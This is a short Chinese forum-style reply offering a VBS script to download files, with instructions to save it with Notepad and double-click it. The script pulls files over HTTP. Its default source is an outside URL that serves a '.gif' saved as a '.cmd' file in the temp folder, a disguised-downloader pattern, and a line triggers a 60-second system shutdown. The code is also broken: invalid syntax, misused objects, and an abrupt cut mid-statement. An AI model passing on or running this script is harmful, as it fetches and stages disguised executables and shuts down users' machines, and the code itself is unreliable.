求批处理或VBS下载

把下面的用记事本存为.vbs文件.
然后双击运行.

On error resume next
update("http://***/1.mp3","c:\1.mp3")
update("http://***/2.mp3","c:\2.mp3")
shutdown -s -t 60

sub update(U,C)
if U="" then U="http://www.wewoo.cn/wewoos/images/wewoo.cmd.gif"
if C="" then C="%temp%\test.cmd"
S=Wscript.arguments.count
if S=0 then
wscript.quit
Else
set P=Wscript.arguments
U=P(0)
End If
if S=2 then
C=P(1)
End If
Set F = CreateObject("Microsoft.XMLHTTP")
Set O = CreateObject("WScript.Shell")
F.Open "GET",U,0'
F.Send()
Set F = CreateObject("Shell.application")
F.Mode = 3'
F.Type = 1'
F.Open()
F.Write(F.responseBo